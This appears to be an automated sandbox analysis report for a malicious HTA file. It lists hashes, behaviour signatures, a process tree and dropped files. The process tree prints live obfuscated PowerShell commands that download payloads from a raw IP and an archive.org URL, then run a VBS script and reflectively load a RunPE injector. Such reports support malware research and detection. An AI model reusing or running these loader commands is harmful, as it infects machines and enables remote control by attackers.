Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    25-09-2024 16:30

General

  • Target

    d6a04e7ba31d063b7176e3f9fc96c46a.hta

  • Size

    115KB

  • MD5

    d6a04e7ba31d063b7176e3f9fc96c46a

  • SHA1

    e8929b14ea18c20d4a81ac3faf681031924c9d14

  • SHA256

    2377328ff0a0b26133c534cb523576567f94d73726102f905e97f813b20a86a2

  • SHA512

    81fc9692f3e031cedbfd0623b69b21017504a8376e14ef3ee002b14517e857e45b07191bb84436e1bfebf1fa8fd6a375dc61716bebb253db2e4c015f740424b0

  • SSDEEP

    96:Ea+M7XjJ7GJyXOVKBhqCJgqC8R7JR2JacLZL+dJAcAT:Ea+QXjJaJpKBgVOJEJwdJArT

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\d6a04e7ba31d063b7176e3f9fc96c46a.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2712
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2736
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2684
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xfjnbjlf.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2556
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFCE6.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCFCE5.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2644
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicemeetingsofpictureclearthingstob.Vbs"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2716
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdnJysnWUZ1cmwgPSAnKydDJysnTkEnKydodHQnKydwcycrJzovJysnL2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdmUuJysnb3JnLzI0LycrJ2l0JysnZW1zLycrJ2RldGEnKydoLW4nKydvJysndGUtJysndi9EZXRhaE4nKydvdGVWJysnLicrJ3R4dENOQScrJztnWUZiYXNlJysnNjRDb250ZW50ICcrJz0gKE5lJysndycrJy1PYmonKydlYycrJ3QnKycgU3lzdCcrJ2VtLk4nKydldCcrJy5XZWJDbGllbicrJ3QpJysnLkRvd25sb2FkJysnU3RyaW5nKGdZRicrJ3VybCknKyc7ZycrJ1lGYmluYXInKyd5JysnQ29udGVudCA9ICcrJ1tTeXN0ZW0nKycuQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpbmcnKycoZ1knKydGYicrJ2FzZScrJzY0Q29udCcrJ2UnKyduJysndCk7ZycrJ1lGYScrJ3MnKydzJysnZW1ibCcrJ3kgPSBbUmVmbCcrJ2VjJysndGknKydvbi5BJysnc3MnKydlbWJseScrJ10nKyc6OicrJ0xvYWQoZ1lGYmknKyduYXJ5JysnQ29uJysndGVudCcrJyk7Z1lGdHlwZSA9IGdZRmEnKydzc2VtJysnYmx5LkcnKydldFR5cGUnKycoQ05BUnVuUEUnKycuSCcrJ29tJysnZUNOJysnQSk7Z1lGJysnbWUnKyd0aCcrJ29kID0gZ1lGdCcrJ3lwZS5HZXRNZXRob2QoQ05BVicrJ0FJQ05BKTtnWUZtZXRob2QuSW52b2tlKGdZRicrJ251bGwsIFtvYmplYycrJ3RbJysnXV1AKENOQXR4dC4nKydBWlBQSEMvNTQnKyczLzg0MS4nKycyMy44NjEnKycuJysnNDAxLy86cHR0aENOQSAsIENOQWRlc2F0aXZhZG9DTkEgLCBDTkFkZXNhdGl2YScrJ2RvQ04nKydBICwnKycgQ04nKydBJysnZGVzYXRpdicrJ2EnKydkb0NOQSxDJysnTkFSZScrJ2dBc21DTkEnKycsQycrJ05BQ05BJysnKSknKS5yRVBsYUNFKCdDTkEnLFtzdHJJbmddW0NIYXJdMzkpLnJFUGxhQ0UoJ2dZRicsJyQnKSB8IC4gKCAkZU5WOkNPbXNwRWNbNCwyNiwyNV0tak9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2916
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('g'+'YFurl = '+'C'+'NA'+'htt'+'ps'+':/'+'/ia600100'+'.us.'+'archive.'+'org/24/'+'it'+'ems/'+'deta'+'h-n'+'o'+'te-'+'v/DetahN'+'oteV'+'.'+'txtCNA'+';gYFbase'+'64Content '+'= (Ne'+'w'+'-Obj'+'ec'+'t'+' Syst'+'em.N'+'et'+'.WebClien'+'t)'+'.Download'+'String(gYF'+'url)'+';g'+'YFbinar'+'y'+'Content = '+'[System'+'.Con'+'vert'+']::FromBase64S'+'t'+'ring'+'(gY'+'Fb'+'ase'+'64Cont'+'e'+'n'+'t);g'+'YFa'+'s'+'s'+'embl'+'y = [Refl'+'ec'+'ti'+'on.A'+'ss'+'embly'+']'+'::'+'Load(gYFbi'+'nary'+'Con'+'tent'+');gYFtype = gYFa'+'ssem'+'bly.G'+'etType'+'(CNARunPE'+'.H'+'om'+'eCN'+'A);gYF'+'me'+'th'+'od = gYFt'+'ype.GetMethod(CNAV'+'AICNA);gYFmethod.Invoke(gYF'+'null, [objec'+'t['+']]@(CNAtxt.'+'AZPPHC/54'+'3/841.'+'23.861'+'.'+'401//:ptthCNA , CNAdesativadoCNA , CNAdesativa'+'doCN'+'A ,'+' CN'+'A'+'desativ'+'a'+'doCNA,C'+'NARe'+'gAsmCNA'+',C'+'NACNA'+'))').rEPlaCE('CNA',[strIng][CHar]39).rEPlaCE('gYF','$') | . ( $eNV:COmspEc[4,26,25]-jOiN'')"
              6⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1872

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESFCE6.tmp

    Filesize

    1KB

    MD5

    843a6f05bac17ea0e99edeed267af61c

    SHA1

    f7185642e4e5fe01ed6f74cfed1e04b90e9b6245

    SHA256

    4ba3b5539013ee7ecd826481cc27f08130b002823342aa6b797106a7d789a301

    SHA512

    f40073460c6de2bd47fb1e06519b3ed5360349ccbe819103fdf34cf1bfc62c363b3abf743f58a9c0ebb86f046d49cb8bb04366b20f5d26f429bc2c36cb52917b

  • C:\Users\Admin\AppData\Local\Temp\xfjnbjlf.dll

    Filesize

    3KB

    MD5

    0967991e445935b29a0e0f6c7fb93312

    SHA1

    60f296bec1a1e818ec8073362cc8066dd0d0815c

    SHA256

    c5423f03a7c83ce6feed033f54672af0a71d3e1b1fa4226146e08586e7bf223d

    SHA512

    71fdb31c4f850bd2d0b1dbf1442f865000cd4cd38e31b975f4ef626c1b38661a285bcb55d18bbf07a6e1e1c406e032397ff18060c4b8789e720c70f1349ebd12

  • C:\Users\Admin\AppData\Local\Temp\xfjnbjlf.pdb

    Filesize

    7KB

    MD5

    07271aa902ce54b5193a729d9552050b

    SHA1

    484c91b8403b3b33d9c9d69c825254fb1239e0f9

    SHA256

    f27a8be6041ec6acd06129d753aaad56fe1d7cbd33b3b3e53e198b93a9bf3921

    SHA512

    6bac170bf672427d680b361a73faf1e86fb90cfa0de29baeb14d90e26c1631aede69061127f255373487d041c1a7d5e76fb1769d369326ed39d7d74cc678dc84

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    bea98413c652687033cc543bc8d7d6d8

    SHA1

    157479233bc2b86852805f0f61ebe39c2412692c

    SHA256

    950e4898cdfe6924eb380c06df05e6bcc625be6167b3936ab28af5862874516d

    SHA512

    20199c52385a4c9384719a9db6bad8f82d330d4adb720ef47e008795d06222d53bd219c5af32b8126092883897ccbbddb65e3abbbfe2655050177f28374ad3cd

  • C:\Users\Admin\AppData\Roaming\nicemeetingsofpictureclearthingstob.Vbs

    Filesize

    254KB

    MD5

    10a145cb87654a33c6c0beda947466b8

    SHA1

    a504192f1b5ac44e6e49b4bc9ef660220c604469

    SHA256

    80e7c85eeb0a57e9f50e7d84e0eb1b2f2230837b53080d24696fab7373e9bc03

    SHA512

    fbc4f71668b7af09338ae7060c04dd8feed091b3b7adb490647c92d731cefca4b1e929d36f750563ff0afa14b797984625eaf964f25a3f71b597343d79ec891a

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCFCE5.tmp

    Filesize

    652B

    MD5

    b1d1bf45ffebfb7390c038e104ee0025

    SHA1

    76558f48f738c831f2167c44ac6d37e79099d83d

    SHA256

    c51ebed5eda341e4e3105a81a97555fca733a530c502813d7b2842b742e64bd8

    SHA512

    147fa05ef154ccc1e55fddfa8a1377dab2f985a4897ac71c7ec31f30b6742b4d69b901354906aaea593fab944696d0f77a139884de74dd502f7cf711448e79ef

  • \??\c:\Users\Admin\AppData\Local\Temp\xfjnbjlf.0.cs

    Filesize

    474B

    MD5

    f884800327d4027747da358d54a2953c

    SHA1

    b1d1103720a4787bb3cb5832461f367275978422

    SHA256

    13de24eeafc24c4a53199d015b92dd5ddcd552ceaa74fb14d2bbb26dc6366e9b

    SHA512

    cbfd55f5481da04f30d8590b64cc314751b158cbf775686a11f430b0619d069adc16c2a387fd1789b49a10aa760b4ab36cb12f96f21c4208abb89a5f0d52c520

  • \??\c:\Users\Admin\AppData\Local\Temp\xfjnbjlf.cmdline

    Filesize

    309B

    MD5

    13e5e896183e5edae98aa7fdf4c027c0

    SHA1

    5fc4e3c7ac66c0c4b68e58fd3d7162dc34a7f029

    SHA256

    b68b81922db547d3c751707818331963a8a6f908e543ddbfb6440fd0017731fc

    SHA512

    c2802c8f8613a8061b7b8e85dc0b5489d14d4ba3090c6bc2e0bc0a10af6f2ab8c0f3d394d2d35f66a5d8b8204bb942c3a172691529ff6e2f1d3663331c96156e